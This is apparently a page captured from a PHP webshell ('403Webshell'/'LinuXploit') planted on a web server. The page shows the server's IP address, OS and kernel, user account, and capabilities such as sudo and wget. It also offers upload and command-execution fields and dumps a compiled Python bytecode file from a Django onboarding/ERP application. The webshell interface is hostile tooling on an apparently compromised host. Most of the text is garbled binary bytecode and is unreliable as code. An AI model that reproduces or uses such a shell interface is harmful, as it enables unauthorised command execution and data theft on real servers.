403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/onboarding/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/onboarding/__pycache__/forms.cpython-310.pyc
o

hͦh�>�@s�dZddlZddlmZddlmZddlmZddlm	Z
ddlmZddl
mZmZdd	lmZdd
lmZddlmZddlmZdd
lmZmZddlmZddlmZddl m!Z!ddl"m#Z#m$Z$m%Z%ddl&m'Z'Gdd�dej(�Z(Gdd�de
�Z)Gdd�de(�Z*Gdd�de(�Z+Gdd�de)�Z	Gdd�de(�Z,Gdd �d e(�Z-Gd!d"�d"e(�Z.Gd#d$�d$e(�Z/Gd%d&�d&e(�Z0dS)'a�
forms.py

This module contains the form classes used in the application.

Each form represents a specific functionality or data input in the
application. They are responsible for validating
and processing user input data.

Classes:
- YourForm: Represents a form for handling specific data input.

Usage:
from django import forms

class YourForm(forms.Form):
    field_name = forms.CharField()

    def clean_field_name(self):
        # Custom validation logic goes here
        pass
�N)�date)�Any)�forms)�UserCreationForm)�User)�	DateInput�ValidationError��render_to_string)�gettext_lazy)�reload_queryset)�EmployeeFilter)�Employee�EmployeeBankDetails)�horilla_middlewares)�HorillaMultiSelectField)�HorillaMultiSelectWidget)�
CandidateTask�OnboardingStage�OnboardingTask)�	Candidatec� eZdZdZ�fdd�Z�ZS)�	ModelFormzC
    Overriding django default model form to apply some styles
    csXt�j|i|��ttjdd�}t|j�|j��D]�\}}|j}t	|t
j�r,t�
�|_t	|t
j�r<|jj�ddi�nNt	|t
jt
jt
jf�rS|jj�d|jd��n7t	|t
jf�rd|jj�ddi�n&t	|t
j�rx|jj�d|jddd	��nt	|t
jt
jf�r�|jj�dd
i�z
|jj|jd_WnYz|jjj|jd_WqYqdS)
N�request�classzoh-input  w-100�oh-input w-100�r�placeholder�/oh-select oh-select-2 select2-hidden-accessible��(�rr�rows�cols�oh-switch__checkbox�employee_id�
company_id)�super�__init__�getattrr�_thread_localsr�fields�items�widget�
isinstancerrr�today�initial�attrs�update�NumberInput�
EmailInput�	TextInput�label�Select�Textarea�
CheckboxInput�CheckboxSelectMultiple�user�employee_get�get_company)�self�args�kwargsr�_�fieldr-��	__class__�� /var/www/erp/onboarding/forms.pyr(2sX

�
��������zModelForm.__init__��__name__�
__module__�__qualname__�__doc__r(�
__classcell__rErErCrFr-�rcr)�UserCreationFormCustomz<
    Overriding user creation form to apply some styles
    cs8t�j|i|��t|j�|j��D]�\}}|j}t|tjtj	tj
tjf�r3|jj�
d|jd��qt|tj�rC|jj�
ddi�qt|tjtj	tj
f�rZ|jj�
d|jd��qt|tjf�rsd|j�d�|_|jj�
ddi�qt|tj�r�|jj�
d|jd	d
d��qt|tjtjf�r�|jj�
ddi�qdS)
Nz!oh-input oh-input--password w-100rrz oh-input oh-calendar-input w-100rz
---Choose z---rrr r!r$)r'r(rr+r,r-r.rr3r4r5�
PasswordInputr1r2r6�	DateFieldr7�empty_labelr8r9r:)r>r?r@rArBr-rCrErFr(ks^
��	���
��������zUserCreationFormCustom.__init__rGrErErCrFrNfrMrNc@�eZdZdZGdd�d�ZdS)�OnboardingStageFormz(
    Form for OnboardingStage model
    c@s eZdZdZeZdZddgZdS)zOnboardingStageForm.Metaz3
        Meta class to add additional info
        �__all__�sequence�	is_activeN)rHrIrJrKr�modelr+�excluderErErErF�Meta��
rYN�rHrIrJrKrYrErErErFrS��rSc@rR)�OnboardingCandidateFormz"
    Form for Candidate model
    c@sFeZdZdZeZdZdZdeddid�iZ	e
d�e
d	�e
d
�d�ZdS)
zOnboardingCandidateForm.Meta�8
        Meta class for some additional options
        rT)�stage_id�assigned_manager�confirmation�hired�referral�	portfolio�canceledrV�resume�
schedule_date�job_position_id�joining_date�typer�r1z	Full Name�Email�Mobile)�name�email�mobileN)rHrIrJrKrrWr+rXr�widgetsrA�labelsrErErErFrY�s�
�rYNr[rErErErFr]�r\r]c@rR)rz
    Form for User model
    c@seZdZdZeZddgZdS)zUserCreationForm.Meta�;
        Meta class to add some additional options
        �	password1�	password2N)rHrIrJrKrrWr+rErErErFrY�srYNr[rErErErFr�r\rcsxeZdZdZejej��dd�Z	e�
�Zeje
d�d�Zejej��d�ZGdd�d�Z�fd	d
�Z�fdd�Z�ZS)
�OnboardingViewTaskFormz'
    Form for OnboardingTask model
    F)�queryset�requiredz
Task title)r6)rwc@� eZdZdZeZdZgd�ZdS)zOnboardingViewTaskForm.Metar^rT)�status�candidate_id�onboarding_task_idrVN)rHrIrJrKrrWr+rXrErErErFrY�rZrYcs�|j��D]8\}}t|t�r=|j�|d�t|j�|��dkr&t	�
|di��t���}|j|j
j|j�|�d�}|||<qt���}|S)N�zThif field is required��id__in)r+r,r.r�errors�pop�len�data�getlistrrr'�cleanrw�filter)r>�
field_name�field_instance�cleaned_data�
employee_datarCrErFr��s


��
zOnboardingViewTaskForm.cleanc
s�t�j|i|��ttj��tdtddd|jd�dd�|j	d<t
|j	�|j�d	�}|rK|j
��jd
dd�}tjj|d�}||j	d
_||j	d
_dSdS)N�employee-widget-filter�f�employee_filters.htmlT��filter_route_name�filter_class�filter_instance_contex_name�filter_template_pathrx�instance�
Task Managers�rwr-r6�managersr_r{��flatr~�
candidates)r'r(rr�objects�allrr
r�r+rr0�get�	candidate�values_listrr�rw)r>r?r@�stage�
candidate_ids�
cand_querysetrCrErFr(s*��
�zOnboardingViewTaskForm.__init__)rHrIrJrKr�ModelMultipleChoiceFieldrr�r�r��HiddenInputr_�	CharFieldrA�
task_titlerr�rYr�r(rLrErErCrFrv�s��	rvcs:eZdZdZGdd�d�Z�fdd�Z�fdd�Z�ZS)�OnboardingTaskFormz&
    Form for OnboardingTaskModel
    c@s4eZdZdZeZdZddgZdej	ddid�iZ
d	S)
zOnboardingTaskForm.Meta�<
        Meta class for add some additional options
        rTr_rVr�rz5oh-select oh-select-2 w-100 select2-hidden-accessiblerkN)rHrIrJrKrrWr+rXr�SelectMultiplerqrErErErFrY$s��rYc	
s�t�j|i|��ttj��tdtddd|jd�dd�|j	d<|j
�d	�}|rUtjj|d
�}|j
}|j��}||j	d	_|j��jddd�}tjj|d
�}||j	d_dSdS)Nr�r�r�Tr�r�r�r%r_)�idr{r�r~r�)r'r(rrr�r�rr
r�r+r0r�r�recruitment_id�onboarding_stagerwr�r�rr�)	r>r?r@r_r��recruitment�stage_querysetr�r�rCrErFr(2s.��
�zOnboardingTaskForm.__init__c�<t|jdt�r|j�d�}|r|j�dd�t���dS�Nr%�	r.r+rr�r�r�r�r'r��r>�idsrCrErFr�L�
zOnboardingTaskForm.clean)rHrIrJrKrYr(r�rLrErErCrFr�s
r�csFeZdZdZdZGdd�d�Z�fdd�Zdd�Z�fd	d
�Z�Z	S)�OnboardingViewStageFormz'
    Form for OnboardingStageModel
    �Stagec@s.eZdZdZeZgd�Zed�ed�d�ZdS)zOnboardingViewStageForm.Metar�)�stage_titler%�is_final_stagezStage TitlezIs Final Stage)r�r�N)	rHrIrJrKrrWr+rArrrErErErFrY[s
�rYc
s�t�j|i|��t|j�ttjjdd�tdt	ddd|j
d�dd�|jd	<|j��D]\}}tt
���}|jj�d
|i�q+dS)zN
        Initializes the form with custom field settings and widgets.
        T)rVr�r�r�r�zStage Managersr�r%r�N)r'r(rr+rrr�r�rr
r�r,�str�uuid�uuid4r-r1r2)r>r?r@r�rB�	unique_idrCrErFr(gs$
���z OnboardingViewStageForm.__init__cOsd|i}td|�}|S)zS
        Render the form fields as HTML table rows with Bootstrap styling.
        �formzcommon_form.htmlr	)r>r?r@�context�
table_htmlrErErF�as_p�s
zOnboardingViewStageForm.as_pcr�r�r�r�rCrErFr��r�zOnboardingViewStageForm.clean)
rHrIrJrK�verbose_namerYr(r�r�rLrErErCrFr�Tsr�cseZdZdZejded�d�Zejded�d�Zejded�d�Z	ejded�d�Z
ejded	�d�Zejded
�d�Zejded�d�Z
ejded�d�Zejded
�d�Zejded�d�Zejded�d�Zejded�d�Zejded�d�ZGdd�d�Z�fdd�Z�ZS)�EmployeeCreationFormz!
    Form for Employee Model
    Tz
First Name�rxr6Fz	Last Name�Phone�Address�Country�State�Zip�
Qualification�
Experience�ChildrenzEmergency Contact NumberzEmergency Contact NamezEmergency Contact Relationc@s.eZdZdZeZdZdZdeddid�iZ	dS)	zEmployeeCreationForm.MetarsrT)�employee_user_id�employee_profilerorV�additional_info�is_from_onboarding�is_directly_converted�dobrjrrkN)
rHrIrJrKrrWr+rXrrqrErErErFrY�s
�rYcsX|j}|dr|ddkrtdtd�i��|dr'|ddkr'tdtd�i��t���S)N�
experiencerz'Experience should be a postive integier�childrenz+No of children should be a postive integier)r�rrAr'r�)r>r�rCrErFr��s
�
�
zEmployeeCreationForm.clean)rHrIrJrKrr�rA�employee_first_name�employee_last_name�phone�address�country�state�zip�
qualification�IntegerFieldr�r��emergency_contact�emergency_contact_name�emergency_contact_relationrYr�rLrErErCrFr��s.���r�c@s�eZdZdZejddd�Zejddd�Zejddd�Ze�	�Z
ejddd�Zejddd�Zejdd	d�Z
ejdd
d�Zejddd�ZGd
d�d�ZdS)�BankDetailsCreationFormz*
    Form for BankDetailsCreationForm
    Tz	Bank Namer�zAccount Number�Branchr�r��CityzCode #1FzCode #2c@ry)zBankDetailsCreationForm.MetarsrT)r%r�rVN)rHrIrJrKrrWr+rXrErErErFrY�rZrYN)rHrIrJrKrr��	bank_name�account_number�branchr8r�r�r��city�any_other_code1�any_other_code2rYrErErErFr��sr�)1rKr��datetimer�typingr�djangor�django.contrib.auth.formsr�UserForm�django.contrib.auth.modelsr�django.formsrr�django.template.loaderr
�django.utils.translationrrA�base.methodsr�employee.filtersr
�employee.modelsrr�horillar�2horilla_widgets.widgets.horilla_multi_select_fieldr�&horilla_widgets.widgets.select_widgetsr�onboarding.modelsrrr�recruitment.modelsrrrNrSr]rvr�r�r�r�rErErErF�<module>s899#@5=;

Youez - 2016 - github.com/yon3zu
LinuXploit